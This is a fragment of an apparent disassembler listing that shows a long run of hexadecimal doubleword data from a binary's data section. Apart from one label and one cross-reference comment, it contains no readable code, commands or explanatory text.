		dd 207342F5h, 0B968502Ch, 3160124Bh, 6A15858h, 1E183505h
		dd 833E018Bh, 969B9448h, 0FAC1200Ch, 4A4A585Fh,	0C10B58ADh
		dd 5AF8667Dh, 535827EEh, 294794Dh, 0CECD290Ah, 0AB445004h
		dd 52EDD1C0h, 6C723434h, 0B89EFAC5h, 3BF4A14Ah,	0E42B6744h
		dd 0DEFC5B0Bh, 1AAE635h, 0D9C09EADh, 0C175EC6Fh, 0CE888A8h
		dd 2FF95BF0h, 814A67F2h, 53E2F47h, 8DFF90ABh, 467D0806h
		dd 55A65630h, 263C6FE3h, 66C1020h, 0C19A45D4h, 4724D21Fh
		dd 77EB098Bh, 2567B400h, 31581773h, 0C95324D2h,	0C4CB8309h
		dd 0E4050428h, 0C02F2299h, 647EA96Ah, 0BDD4155Ah, 0E58080Ch
		dd 72380434h, 0ADF92903h, 4DDF17CFh, 0F29E7EE4h, 907226Dh
		dd 0D4A4C178h, 0AA53885Bh, 50EEA9C0h, 0A00E490Bh, 47CB6808h
		dd 0C213BE2Ch, 0FEC60DE8h, 0D1271B1Ah, 522CD63Fh, 38822F4h
		dd 73E9620Dh, 50025D58h, 0ECC0F8B4h, 0DB794105h, 1E316AFh
		dd 400FB8F6h, 0E93290A0h, 0F5C4C2F9h, 2BD5BDE2h, 2E7FA656h
		dd 0CAFE0763h, 0DCDEA80h, 2BEBD9EAh, 0B7D92DB0h, 8B628978h
		dd 0F1D07285h, 57AD8944h, 7CCA7C33h, 0FD87A0A2h, 0F7C83640h
		dd 510B632Fh, 173B2C46h, 0CBA7D084h, 0C63B350Ah, 90F30215h
		dd 0F50F512Eh, 0A0D46902h, 0B96EB103h, 412EB8FEh, 400E3267h
		dd 26C37F52h, 5350D05Bh, 261B12BBh, 0D8750F28h,	107FBD76h
		dd 0C0000EE8h, 0EE8003E6h, 0CE48FE9Ch, 51661C52h, 22876887h
		dd 0D0DB1369h, 17B074B5h, 27A2C49h, 8DE94C46h, 0B450805Dh
		dd 30CCFE56h, 8004DCF6h, 30267EF4h, 0F6C9CAE2h,	34F20B9Eh
		dd 14FA825Fh, 68E898E6h, 0BA7F3D6Eh, 0D8127FDh,	0AB20A3D9h
		dd 8245E341h, 465891F9h, 0E99D915Fh, 4D17FB7Fh,	32BE8BDFh
		dd 5DE4AE2h, 7DA85F13h,	0E9B398E4h, 0F6F38C2Eh,	8758C28Bh
		dd 741EA94h, 3BFC4B47h,	4A72920Bh, 0B583D7EBh, 0AB40EB70h
		dd 40FB26F3h, 0C0D8A2D8h, 979C46DFh, 5F821FE7h,	0FD316C68h
		dd 0E9273496h, 0B98F0060h, 5E5F1FAEh, 2CB4813Ah, 94753EA2h
		dd 0EC82EA94h, 0C38301C7h, 0C8D07F01h, 60026211h, 7DA3B66Bh
		dd 0E9173BD2h, 2E4BBA8Eh, 9B48165Dh, 44CB0B8Dh,	7B61455h
		dd 0BD4DC0B9h, 1CC9C068h, 3076F058h, 2A78E907h,	0C1C0646Dh
		dd 136FCCA0h, 0EFCA01EBh, 2E438622h, 0D0E706CEh, 1F7B0902h
		dd 279C5DA5h, 4004283Eh, 28B95AC1h, 0B80BEF06h,	2B5E7B20h
		dd 1E337419h, 0AF0DC432h, 0A45CC26Fh, 0CCC31D80h, 223B4A0Ch
		dd 2915101h, 88FB5808h,	25B5FD08h, 0DEE0FEBAh, 4C286FF7h
		dd 0EF168022h
dword_4F0044	dd 0C600C528h, 165095E1h, 0B34966Ch, 195F0685h,	6CD237E3h
					; DATA XREF: ___:00438124o
		dd 0A345201Fh, 7AA6B800h, 0C70D5FF0h, 1C50122h,	7FACAD05h
		dd 8CAAA603h, 52DB5C6Bh, 0AFC23EF4h, 9878092Eh,	90C7D63h
		dd 7566EFFDh, 42BA1F0Eh, 93779E56h, 5D3A8230h, 9DBEC67Fh
		dd 0AADB045Ch, 570F0DAh, 9206CC05h, 3FBF172h, 62E85B07h
		dd 98904211h, 2EAD0A34h, 1768A471h, 5ECAA83Ah, 0DF371BCh
		dd 30728E89h, 54612F93h, 0E3D14B06h, 45E1283h, 0ECD3B41h
		dd 20CDA5ECh, 3F7D213Ch, 33B202BCh, 0E3E6E901h,	5441056Dh
		dd 2FE1C2A8h, 1AFECBB0h, 517D4A1h, 0F44353C7h, 69EBC267h
		dd 0B26E01ADh, 319B132Bh, 0C2D363ECh, 0F157551Bh, 360D60D4h
		dd 0BF4AE908h, 6EEEFD0h, 35A0B746h, 0E653EAC6h,	0D8B71898h
		dd 17C5763Ch, 21CEDEFDh, 0A7CA16F4h, 2583D73Dh,	11BA6A19h
		dd 80F3D780h, 8CB8663Ah, 2DD332EEh, 0A7322BB6h,	0AA5BB0Ah
		dd 8412FF2Eh, 0E94878AEh, 0A773FF27h, 366271CAh, 62CF442h
		dd 0C07FA10h, 809B2995h, 1E0349C9h, 0DAF72730h,	48091D56h
		dd 4641717Dh, 2FBE351Ch, 70E11500h, 0D805DEE9h,	0F2813E4Eh
		dd 0AEF1DF1Ch, 442F79EEh, 0F1AC983Ah, 0BF48857Ah, 5C8BF6CAh
		dd 522507DBh, 0F8D04F96h, 230D9E35h, 0F0E3419Ah, 0F668627Eh
		dd 0F96A95BBh, 1EB03296h, 0AEE4DE98h, 37E14695h, 0E6DB0B82h
		dd 72BD677Ah, 41BBB04Bh, 8CF26B30h, 5325EF48h, 0FC7367Ch
		dd 0D15F0A58h, 74EF00D0h, 0F71F2621h, 13C6D750h, 0B739460Fh
		dd 89143331h, 7AF17FCh,	5F48A5E2h, 881CA400h, 78B80562h
		dd 80528F3Ah, 64FE34ECh, 0BA8CC2E9h, 2E00F17h, 0F444D8F6h
		dd 0CA169052h, 0DE983641h, 5594EB00h, 0F3871A70h, 0D0F73996h
		dd 0E3C00CEFh, 40306B2Dh, 8316CE90h, 88E04273h,	0F97C1324h
		dd 0EA060769h, 0EF20241Bh, 87ADCC7h, 0F0E5E18h,	41252C34h
		dd 0D4B11249h, 484FEDBh, 8109B2BEh, 0F958E956h,	120120A4h
		dd 618C09DDh, 678BC6FCh, 0A75BFB9Bh, 0D10B4876h, 0C6095DE8h
		dd 16C93094h, 7A32FE76h, 27F0F377h, 0D0C7AA10h,	0AA0C4897h
		dd 84C69703h, 0C7F4A22h, 4C1A0F9Fh, 919E5BACh, 0EEADE969h
		dd 0B011002Eh, 66C18881h, 0FC32FABDh, 2002B7DCh, 9840F129h
		dd 121C5455h, 0BB684316h, 0CAC82509h, 9B88DD0Dh, 9F8BA74Fh
		dd 76134D5h, 36E9525Fh,	18710B62h, 6B52C4C0h, 0BE874E12h
		dd 0A4983956h, 78914196h, 56CA8130h, 1320054Bh,	428E0425h
		dd 0C03544E7h, 2D18C685h, 0B6767704h, 0CCBA5149h, 0F5ACC70h
		dd 81E5908Dh, 0FEDD133Fh, 0CBBA3B75h, 84E982E3h, 15D05E1h
		dd 7410CDE1h, 1F1E3019h, 23CA37C1h, 1E70366Ah, 3FE441B2h
		dd 3F120005h, 0C99F3E27h, 0EC8DAF9h, 28895694h,	61A5DFAFh
		dd 3E3B8D73h, 633C10B9h, 998219A7h, 2904F57Ah, 3D1FF3C7h
		dd 0B89E4867h, 0FC1D126Bh, 0AF3B016Ah, 2E083912h, 80444E5h
		dd 0FC4E418Bh, 2794819h, 8621BF32h, 9FB0F501h, 385F9A68h
		dd 0A0C127D6h, 0BD8DD39Fh, 9BA010C5h, 0D682F05Bh, 0B4FC046h
		dd 3C0E3E39h, 0B215FE13h, 0DF9B8501h, 99F68B40h, 0EC76E475h
		dd 532F0BE6h, 0E17C176Fh, 0F7EE8703h, 52084CD5h, 0B0DFCE25h
		dd 13E2D91h, 5A7DBC21h,	2642B768h, 58A00544h, 2EF8658Dh
		dd 0A8B2F513h, 7406C418h, 0CCDE38F9h, 5C66B49Eh, 249CFABDh
		dd 5B756799h, 6854F82Dh, 0D6C1977Bh, 699DF2FFh,	62C559C5h
		dd 7DC49978h, 8646CB00h, 4F71BB0Bh, 317917A6h, 4B78A6D3h
		dd 0BEE212EFh, 94BFA816h, 10FBADC8h, 1F50FDB6h,	4F2B013Fh
		dd 0F5814538h, 0D70FA744h, 6448BB83h, 1CBE284h,	69FA4376h
		dd 8D2A7401h, 820C04F1h, 305527EDh, 0B5C601C3h,	7ADAB07Eh
		dd 0A30F254Ch, 0B3F2CF22h, 0B5AB5E05h, 0F7368069h, 491D5FE6h
		dd 0C8F130E9h, 0F03BD24h, 9152716h, 3023D3D0h, 165A768Bh
		dd 14193BCEh, 0B1051F06h, 94E07A80h, 0C4D8EF69h, 0E8C44F62h
		dd 26E8D29Dh, 0C621C7B0h, 2EE94D3Ah, 0EA730ED1h, 0EA667895h
		dd 2DC7C58Fh, 0DFE60F37h, 0EFED73E4h, 2D683498h, 3A592506h
		dd 0E7C4F096h, 9F83F2BBh, 177399CEh, 254E2EEAh,	8BFDE5Ch
		dd 473706B2h, 698FEC82h, 332430A9h, 45E66029h, 40D182F3h
		dd 50A975Ch, 4FBA0D7Ah,	0C7282BA8h, 96629C08h, 0B9744127h
		dd 4158643Dh, 2D95ECCDh, 363101F4h, 0C82159ADh,	13D905CCh
		dd 0E10F7C1Dh, 9C7C60Dh, 0D5921E29h, 0AB5965FAh, 0B2E31B81h
		dd 3EC3E505h, 81FF8DB1h, 817C80C8h, 28A2EC5Fh, 5C9DADB1h
		dd 0AA89EB3Fh, 9ED67C82h, 1F2D4800h, 95047520h,	0D5E97C18h
		dd 5447B05Ah, 0D5097F1Ah, 0E90970EFh, 773E424Fh, 2E21C030h
		dd 40E83FE1h, 3C05B0B4h, 281A1912h, 0D6BE1437h,	552C8B1Ah
		dd 12BF9E73h, 0AAB9227Eh, 0B3F9301Ch, 0DE136609h, 0A2A343DBh
		dd 5EDE5E10h, 0EF61C6A1h, 28B1B17Ah, 0A354B398h, 8E461739h
		dd 0BC5220D1h, 0A4B85163h, 57F0222Dh, 9371C432h, 8D797552h
		dd 0E9420EA4h, 5F17C976h, 4552A46Ah, 0E8D2BA00h, 0C9E9F889h
		dd 0B920C0F0h, 12202E1Ah, 57E0FCABh, 1E588F49h,	3694056Ch
		dd 6A805010h, 0E8C2BDACh, 42839429h, 95D27F2Ah,	7E204B7Ah
		dd 3C80102h, 0FBE962E0h, 605C323Dh, 1E7EB8B8h, 0E586B0Dh
		dd 0DF2512h, 771F283Ch,	0D8C85EE9h, 749C2C40h, 5F7FCB41h
		dd 1E5356ECh, 0F9033768h, 1008F15Bh, 612DF327h,	5F51D340h
		dd 0A25CFCBFh, 0EAC7D5CBh, 0F8582B25h, 0E9681593h, 5385F952h
		dd 594BAF85h, 4E545026h, 55B9092Ch, 0CFE47F7h, 5CB0E1F7h
		dd 2F6B564Dh, 5BD1C198h, 0B52F836Eh, 26B0BCA7h,	0A2DA1758h
		dd 0D67B7D5Ah, 6E41696Dh, 9205AB4Dh, 6FD45F5Ah,	1FABBC3h
		dd 2D14ED43h, 3B5830DFh, 42810FACh, 0F863442Eh,	0D6FD1ED5h
		dd 74E1F3E1h, 0D709BE43h, 5E195911h, 0E8011C3Bh, 70B82ACh
		dd 0A7D4E9ACh, 166714E4h, 0BD0F5E3Ah, 0E4F025C1h, 57E918DEh
		dd 0E5F191ECh, 8A3EAE13h, 0D0DFD6BAh, 4FDECB4Dh, 243B2DEAh
		dd 480FCF70h, 0E3421E53h, 4A40D0EAh, 0BF64FE0Eh, 550A28AFh
		dd 0EBA773BFh, 0A987BC02h, 0D1EF9AFFh, 0D5A22F32h, 0D67328E0h
		dd 0EAEE011Bh, 291F4802h, 0B85C97D9h, 578CF752h, 0C009BA61h
		dd 0A82EF735h, 6717D2D4h, 0E704E00Ah, 8C3BA026h, 366CB91Ch
		dd 596680E3h, 6C170EBFh, 40AE74C3h, 5F2D68E5h, 0E4A45E6Ch
		dd 76E2BB5Eh, 28A0E9A0h, 68EE38B7h, 0CD33493Fh,	9A3A789Eh
		dd 94FF31A7h, 1372983Dh, 0F0025AE9h, 2113391Eh,	0C0164CFDh
		dd 31902500h, 3AC16BE9h, 239802EEh, 76E391F2h, 4D0C7B17h
		dd 9B8FC2Ch, 380349BFh,	0D715950h, 7F1C1871h, 0D1AFC7E9h
		dd 0BE723C29h, 11D82767h, 7FD5A869h, 2B1B8EA0h,	0A8902E01h
		dd 0FE2FD4FEh, 0A9C5D9D1h, 0BB5C64E8h, 0FC320262h, 0EB283809h
		dd 0C85954C3h, 164C40C3h, 0AD5BFBB8h, 23500CB7h, 59EB4038h
		dd 2F1A6812h, 0F427C3F3h, 8850508Dh, 17BCC5BAh,	0BE70450h
		dd 0B7F3FEAFh, 7D01AA96h, 4A5D321Eh, 563B230h, 0E97A422Fh
		dd 0CAA3EB6Ch, 0CC386F13h, 446F2D83h, 637DC445h, 0F1B7E291h
		dd 0F535D0F9h, 0B47E376Ah, 0FA7DD416h, 0F24B0DF7h, 31AE931Eh
		dd 44DA764h, 0E61325F9h, 0F55DE87Ah, 75EF2BC5h,	5EEBF830h
		dd 0EC4F6BCAh, 0E9D0C139h, 8A3B270Ah, 8208138Ah, 0CA30BBC9h
		dd 282940E7h, 511BC378h, 0E94084B1h, 8E7F5693h,	37B85B36h
		dd 109DB64Ah, 177D4E3Eh, 1E430DD8h, 0B90587FCh,	89C162BBh
		dd 9FBF0775h, 4AC799FCh
		dd 30326002h, 3905AF0h,	0F78FFC5Ch, 766219E3h, 2E5E1Dh
		dd 55B4B8E1h, 21175A0Dh, 0E0058C7h, 59B0729Ah, 5400948h
		dd 7A0E623Fh, 4F0E54A1h, 2A09DBC6h, 805FFD29h, 9DB6487Dh
		dd 0A61F9F6h, 0E90ED82Bh, 0BFDC552Ah, 0A926F377h, 4FC0C497h
		dd 0BD046556h, 91FF870Bh, 137A4223h, 9909018Eh,	7C43B9D2h
		dd 0D53118CBh, 0B7B1C6ECh, 5FE5F1D9h, 0B29813BDh, 9B5BBEE9h
		dd 2D92739h, 0B325531Ch, 0C4B0D180h, 7EE96002h,	0D3E5CB4Dh
		dd 0B6007B54h, 8178D22Ch, 2EA90BEEh, 59807CF0h,	0C9E49D3Dh
		dd 0FE0518D2h, 9208F23Fh, 89560F71h, 52E30D9Eh,	7CA960C7h
		dd 23DD1C17h, 5369D2ABh, 8315A2D5h, 4E0009B2h, 61DB9A4Fh
		dd 0B74871F6h, 0F769A7A9h, 4E938516h, 0FC2F3926h, 0B02F626Ah
		dd 0F62ECEFDh, 51136E92h, 0ABEEDBC5h, 20859388h, 682FD0A0h
		dd 95915AC7h, 66036BFCh, 7EE8852h, 2454F608h, 0A45AA701h
		dd 80800EF5h, 59EA28A4h, 973D702Ch, 0AA7D5CD8h,	113FE125h
		dd 0B49328BDh, 0A641448Ah, 0DFF7040Ah, 0C4E852E1h, 2F68B21Dh
		dd 0BC4F52DDh, 1C8391ADh, 0D6B8A750h, 41740C70h, 290BD8BDh
		dd 2CF8C54Eh, 6A3BDB0Eh, 4C50BE57h, 84E91608h, 0ABBDF1C0h
		dd 78953D58h, 834F8019h, 0B4EE3CC5h, 0BBC9F805h, 1779B2C8h
		dd 16119423h, 2D352CB1h, 0D33DBE0Bh, 7BEA859h, 0EA62E904h
		dd 9D7F8DB9h, 0E27DD01Ah, 0EF715D4Ah, 0D0979E9h, 3C66F6BDh
		dd 9FE0BCBDh, 74E45370h, 0B7F84E95h, 3C1642FBh,	684860FEh
		dd 0D8245664h, 0D109E54Bh, 1A2A107Eh, 876EB7E7h, 0D45F18F6h
		dd 2EC66EFCh, 0D1002694h, 0B7805E8h, 90D4BACh, 52536272h
		dd 2D480055h, 5CA01902h, 82204F89h, 0C1E15F4h, 0BE89577Fh
		dd 55EA9805h, 0DDCA9DBDh, 257A70C0h, 0EBFD6650h, 6DB6E918h
		dd 7D5B42Ch, 0F480D4F6h, 0A1B2C236h, 0EC2AB77h,	544D2978h
		dd 1E706062h, 310443ABh, 5A56E9FAh, 24D21DA8h, 0FD738077h
		dd 1C070A7Ah, 271AF381h, 0E9268719h, 64BBDED4h,	0EAAE649Fh
		dd 0DB6808C0h, 0B2DA452h, 544B7C40h, 0EAC69DA0h, 2F5C9F6Eh
		dd 94562EA3h, 98E93A02h, 0A51D5BF9h, 86389AE8h,	0EEDE0980h
		dd 97529202h, 955C5DD6h, 0D626D251h, 0B2A76D16h, 51E5E44Bh
		dd 0B1B7C258h, 5800A814h, 6D48C280h, 12C8254Eh,	89B240A1h
		dd 1C7D2640h, 93322644h, 7B53BEBAh, 0D5EB350Bh,	587DA6B2h
		dd 826837D8h, 361EA20Bh, 7745090Bh, 0E973D06Eh,	59EC955Ah
		dd 0EFD781C5h, 0C0D3135h, 0B41C191h, 55CA0562h,	0A2401AE2h
		dd 62B641FEh, 76E6BC62h, 0AC9780DDh, 0D501998Eh, 61C320B6h
		dd 0EF55079Fh, 3B8E4430h, 12A2620Dh, 4C77F708h,	99DF9A0Ah
		dd 58E91F4Eh, 7BF54720h, 6F2FA8FCh, 821D3231h, 0F31D0C30h
		dd 6A00CC9h, 0B95DC23Bh, 0EB047637h, 53C412C0h,	8D6C06FAh
		dd 0DC326BAEh, 0D55BD6A9h, 0B801A9E3h, 49E626BFh, 0F369D701h
		dd 6FCB8Ah, 2DDE92F5h, 84982932h, 4B70F22Ch, 0C36D6152h
		dd 259AE60h, 1911E281h,	0A1803436h, 5DA6100Ch, 53CDA8C1h
		dd 102B89C3h, 5473BE22h, 0CF5B6D8h, 5095CE7h, 0C209540Ch
		dd 59553EA2h, 0BFE9582Bh, 40B80595h, 0D0DC2CAAh, 0A791274Ch
		dd 0FBDC29B2h, 396D0B2Ch, 0A957EA2Bh, 16A87FBEh, 3B7F4977h
		dd 0E9171733h, 0B866C1D6h, 9B093EA1h, 1795F457h, 94E55050h
		dd 0BF62D100h, 0A66DBB24h, 0C2F5E727h, 0A0DE0F2Ch, 0E9034D13h
		dd 32FB6037h, 214A8BBEh, 55E6948h, 6C1A67BDh, 3BE14DC0h
		dd 0E922094Bh, 0F8567AD5h, 0AD946AEFh, 8B6E76A7h, 5C467E3Bh
		dd 0AF5A6A05h, 82AC3107h, 0CF1FF54Fh, 2A810DB1h, 7634E144h
		dd 45376802h, 6D8EC74h,	0A3E5BFB5h, 8E8A2F3Eh, 0C380C232h
		dd 0A6405FB1h, 0B29FB48Fh, 9670758Ah, 70D1735Eh, 0A05A882h
		dd 2EDF71Fh, 0FB89E550h, 9E611561h, 0EB0BC3F7h,	0C4E25D22h
		dd 18B019CCh, 1C17A744h, 802D294Bh, 574E58C6h, 24549268h
		dd 0AE2AE96Ah, 0F5779BC3h, 7968132Dh, 4919879Eh, 84A6089Eh
		dd 55A3F30h, 427216FCh,	2FAF112h, 596C5907h, 0E48B2941h
		dd 0E3F1D0ACh, 4719988h, 0E37C3D68h, 495200C6h,	0C9813C7Bh
		dd 2E742794h, 9338C9FEh, 0B2C00A5Ch, 4A752123h,	7862AA3Ch
		dd 0C1A04551h, 88B1F9E9h, 0A05EFC7Fh, 1D7998CBh, 80B20FF3h
		dd 0B1A6DBAh, 0F194314Fh, 0A1C0FA2Dh, 0C748EF2Fh, 76BC0FCBh
		dd 867B7E9Fh, 37085912h, 45563F32h, 0A819921Fh,	73F890CCh
		dd 205B159Ch, 0FD0147ACh, 0B466853h, 2D6F4CC2h,	0BDBD0001h
		dd 1178E2Ch, 2AA0F3E9h,	2DC3A05Bh, 6F5C1FB4h, 80535254h
		dd 78FB9C5h, 81672800h,	241868C1h, 530CC719h, 0E0DCEB6Ch
		dd 0EACDAD12h, 0FB4B5573h, 0DAF9B035h, 0C949E90Ch, 2D98FE15h
		dd 0A553DE3Dh, 66BF04E5h, 78D221F1h, 0AC10D622h, 6057E2DAh
		dd 58BE6D1Ch, 8739230Fh, 95B4589h, 0BA9B3282h, 8B5D7BCAh
		dd 8C96FFFFh, 0D499229Fh, 74F40B5Ah, 0C8FE878Ah, 5909C41Eh
		dd 0BC4BFF37h, 409ED605h, 0F2EA3B4Eh, 9024D60Dh, 0E92B91BEh
		dd 3ADC25A8h, 1A127FDh,	2A02DDCh, 648BAFF7h, 8B89559Bh
		dd 0D7521E7Ch, 2FA48D67h, 87BFEE14h, 3DE72E65h,	2BF48B3h
		dd 7DA8C983h, 0C4627390h, 875AA278h, 86D4F2F2h,	75DE6809h
		dd 0E456C019h, 2E2E6B0Eh, 8C102443h, 0E1565427h, 8152B0F8h
		dd 5EE724Eh, 39AC2F23h,	0C59193C4h, 0D86EEB30h,	2F160415h
		dd 71B8D828h, 0E25B0640h, 0E9C30930h, 0BDE45867h, 0BF8F3507h
		dd 0F8850EABh, 0EF974EF2h, 0FD05157Dh, 0E9E18CBEh, 273EF14Dh
		dd 6AA6C05Dh, 0F871C4A2h, 4BCAA505h, 56B85B2Bh,	55C468B0h
		dd 106F7626h, 57F7280Bh, 5583863Ah, 25C137BFh, 0EFF16E63h
		dd 68E0E6FDh, 332F4FD0h, 1581DB42h, 0E2F42E5Ch,	42E801C3h
		dd 2AE97F4Bh, 0D8F67884h, 13D8BD81h, 0F851C327h, 0CD0A1658h
		dd 0B9E275B8h, 0C011CB55h, 0BE41E9CDh, 0BF88124Dh, 472DA204h
		dd 0C1585405h, 32EAAA5Ah, 2A8496A5h, 2B538EAAh,	0BD178C8Fh
		dd 0D9A1FF31h, 8AC93D28h, 989E0C78h, 0D125444Fh, 7B4DA6BFh
		dd 0C4DBF525h, 65EC95B4h, 575A3FFEh, 52FBFB8Ch,	98047860h
		dd 0AD0F3422h, 54504D8h, 0F4AE3BA1h, 39733FCh, 0C2502CFBh
		dd 51454183h, 3BB4E23Eh, 2C1C4F59h, 60B4D5A7h, 506870C2h
		dd 7148A948h, 14A120D3h, 0E422B65Bh, 0F3DE3013h, 6D2833D5h
		dd 5678A081h, 0C0D60D8h, 22A2422Bh, 5E2530BCh, 0D5120268h
		dd 0E1C10827h, 0B13681BFh, 66CF20E4h, 838EAC8Ch, 0B70BF34Dh
		dd 89F2A384h, 3B4EF50Eh, 4061169Fh, 9D9EF82Ch, 2AE5BF01h
		dd 0E56F2672h, 134EF816h, 4F161C0h, 9F03B037h, 150504F2h
		dd 89D436E7h, 0E360CF9Dh, 1CF26B78h, 5C25FF00h,	0E91327BDh
		dd 59FC14C5h, 209F089Eh, 28AF127h, 70152590h, 0BA9282DDh
		dd 6555077Bh, 5B2E96Ch,	5E30DDC7h, 0E759E805h, 92B1E3EFh
		dd 45CD5FAh, 39FC77h, 0B650E668h, 9B43F748h, 0EC0F64E2h
		dd 0EA88076Dh, 974FD976h, 496A2D71h, 28D6462h, 0F6F9565Eh
		dd 516F5C49h, 0FCF1F551h, 595F404Fh, 0E95EF830h, 5F99627h
		dd 0AEFA2958h, 0AF5A2EB3h, 6A2F2E44h, 0F58167D0h, 49FB0BE0h
		dd 20D809AAh, 1F5FA935h, 0DF38EA04h, 0A36EADCDh, 0EE2D0271h
		dd 7F4D8164h, 70CE1C2h,	6B15667h, 0BC168948h, 5F64B182h
		dd 2698E4E6h, 0A17C4909h, 8797343h, 0BE12AB8Eh,	0C41E52EAh
		dd 2265046Eh, 68310961h, 0DB9AA99Ch, 0D2C1285Bh, 2DF12391h
		dd 20DCF866h, 5E4857BBh
		dd 0AA0F190Dh, 54ED5F98h, 0B5C84CFCh, 1C9614F1h, 5CB858ECh
		dd 73F15CA0h, 2F602A96h, 0B8FCDF51h, 5A2B020Bh,	0C6011243h
		dd 29606A74h, 5B6968DEh, 88CA8C5Fh, 431D7A14h, 517D07D5h
		dd 0E56173CBh, 0C0DA6C40h, 80B4E09Bh, 600F1BAh,	0CA817D9Bh
		dd 0B0AA1231h, 74BE27CEh, 0F7898D5Bh, 0B6EAD7E1h, 5EB91C85h
		dd 81891579h, 7A889B44h, 0B46625C5h, 0D9BE2B7Fh, 9112BF0Ah
		dd 0D6B1AD71h, 0F51AE604h, 1354F0B4h, 0B467B057h, 5C39CF07h
		dd 0C6013E4Ah, 0C57D0C41h, 98389585h, 4214157Ch, 0B1F3A4Fh
		dd 72B02CE9h, 3C812736h, 0DD6BCF71h, 669E96B0h,	9E1E4430h
		dd 2C0B682Fh, 24A40936h, 0CCE4028h, 69980E65h, 24346BF9h
		dd 7EF5FF0Fh, 0B8F12753h, 0A10AE86Ah, 0E16CB102h, 4778EFC9h
		dd 5491F44Fh, 7CC867EEh, 997EFFE8h, 3B7D20B8h, 6CB01616h
		dd 3266EC01h, 0C1386177h, 4008A37Eh, 26E9141Ch,	4C3B2EE5h
		dd 582DC654h, 0D977405Dh, 30823E27h, 6EE9F78Bh,	7CF1C255h
		dd 622EBD9Bh, 68518247h, 0B6D558CFh, 4068987Bh,	0A02FE933h
		dd 0A81DE559h, 0C4154EB6h, 6CAFF0Dh, 67E14B27h,	4680D85Ch
		dd 0A47D2FBFh, 0B2AADCA6h, 8171184Dh, 9F5AD353h, 0FC63CD54h
		dd 0B9B50DA0h, 3EF0558Ch, 0F5953B20h, 0F2DE419Bh, 0E98572E5h
		dd 0CCFBBEA3h, 0B75A7404h, 927E69F4h, 0EB799D91h, 71EF58E4h
		dd 7E646A9h, 2E99B056h,	6F733C87h, 0FEA509Fh, 9384788h
		dd 5A03E1A7h, 840E643Fh, 0A3CE477h, 7D296740h, 0A0DB2ED9h
		dd 0E5D0C9ECh, 664BAB90h, 374895F3h, 551E9C3Bh,	80C79142h
		dd 0EA32E468h, 0BE5B4B2Ah, 1B87FC64h, 0F3FFAC34h, 32050036h
		dd 2901357Bh, 2EB698D8h, 4057BE62h, 7D6717F9h, 355B63F6h
		dd 8814334Ch, 42B202BFh, 0C7833AD8h, 15E27857h,	0C5438268h
		dd 0FCF3BC85h, 17C78050h, 0B8784432h, 254A4A31h, 1258FD08h
		dd 0DCAFAADAh, 0E85A1633h, 5BEC71CCh, 0C065FC9Fh, 0AF31B4E6h
		dd 0CE0EC045h, 399A6B57h, 4AE6749Fh, 91FD0262h,	0AB5D7C62h
		dd 42A3D528h, 0C3D97EC9h, 0E3F42E89h, 402EFE72h, 942FE96Ah
		dd 8AA27E6h, 0F502EA32h, 5ED487C0h, 9818D72Ch, 0BD2D5A00h
		dd 4A0E2245h, 13CCD59h,	79ECEA64h, 40BA04AFh, 5BF68AEh
		dd 0D5E50656h, 854DA8B8h, 32F2C7FBh, 2DB25200h,	93B75366h
		dd 5BECFAE0h, 28C1885Fh, 8B3F89F3h, 0BDCF12B6h,	0B900AAE2h
		dd 313C0DBCh, 295F5EF3h, 9ACC6E9Ch, 925B5A20h, 5D70824Ch
		dd 0C9F58003h, 9B59E828h, 51C1FFD8h, 90AF36B5h,	8412D95Eh
		dd 0C5DB31FEh, 96667C33h, 620B58D7h, 70D671E5h,	5D827C31h
		dd 68C19EE3h, 2ED87451h, 4E4B45FAh, 0A6A440B8h,	1711100Fh
		dd 61D85925h, 0B8DAF637h, 6429041Bh, 215A6607h,	0DA362368h
		dd 63B7B7A0h, 565BE8E9h, 0E5880E45h, 2E584DF7h,	502C3E42h
		dd 4F6E0E55h, 4FD9FA16h, 100EF26Eh, 0BD4A9E8Dh,	326704B3h
		dd 0B800A8Ch, 58B1597Bh, 49050730h, 0B8FD7521h,	13FF5EDFh
		dd 1410EF4Fh, 52FC0497h, 6180B90Dh, 0EE623A8Ah,	7521ED01h
		dd 81EF0805h, 3CC261DFh, 1AE9781h, 5B466C35h, 0B93B780Dh
		dd 0F0007B62h, 317B690Fh, 12B5BDFh, 0C781BEF9h,	52F05E36h
		dd 0D281CFF9h, 604E508Ah, 20407F43h, 44854BBDh,	5D5430E9h
		dd 0D3D5EA73h, 43B2D827h, 3E6305Fh, 5C7172A8h, 0AD4F2F28h
		dd 0D3971A9Ah, 684689C3h, 16EE3FC6h, 0DBBA235Ch, 0F88C04E2h
		dd 0FA22F450h, 356C2990h, 0B829589Dh, 0CF0DE506h, 0AC0CA238h
		dd 1857934Dh, 513515D8h, 0F44FC344h, 294ADF87h,	0A50B219Dh
		dd 0BA25E912h, 0BD30823Dh, 0FF300B86h, 5BD631E5h, 8DF89413h
		dd 7BC0E34Eh, 45ABE135h, 686EA4EBh, 6550A031h, 860120AFh
		dd 0A1D170D4h, 0EB4764E3h, 0A5305978h, 9DBA102Bh, 2F15E15h
		dd 635DEDC0h, 0F69A5841h, 4E4C000h, 0FFC42580h,	0EC0BBB50h
		dd 0FE885236h, 0C0A070B8h, 0DA776492h, 0CE1B3724h, 0BE29BB8Ah
		dd 48597169h, 39F402EBh, 0CF603BA5h, 2B90E947h,	56031499h
		dd 0D95F5E57h, 0A23BCEB9h, 0AC4BDF36h, 631BFFFCh, 28A601C9h
		dd 855D8A78h, 26D09808h, 324E019Bh, 0E8F76EE5h,	4B729340h
		dd 17530534h, 0EA20F0FDh, 0DCF4282Dh, 62E0C2C4h, 52DC1A5Fh
		dd 77286057h, 0EF2FB1BBh, 73AE1350h, 0EC910417h, 0A628FAE1h
		dd 5E2B3E04h, 1F60BE27h, 3FC7B31h, 0E9F1874Fh, 671684C8h
		dd 74AF5DEBh, 0ADD5FEEAh, 79B83082h, 0D01293A6h, 59FEF2F8h
		dd 3B721C3Bh, 0A1690CE2h, 1661181Ah, 8663401h, 512719E7h
		dd 0BAC3176Bh, 0E909608Ah, 65CBA1EFh, 839DF6B9h, 2CF828ECh
		dd 0D711928Dh, 0A390964Ch, 0C9724920h, 2175269Bh, 80C32834h
		dd 0BA5845C8h, 0BF2EC5F7h, 0B8F0840Bh, 0F48F2FEDh, 7EB871D1h
		dd 0A897CDEDh, 0C9CE8621h, 705CA03Ch, 0D5D44128h, 4B9B7E66h
		dd 5C190223h, 44808334h, 0E9E208D2h, 3191A497h,	51F980A5h
		dd 2F1DA1B9h, 8BE06BDFh, 0F1348141h, 0A9B4121Ah, 585F2468h
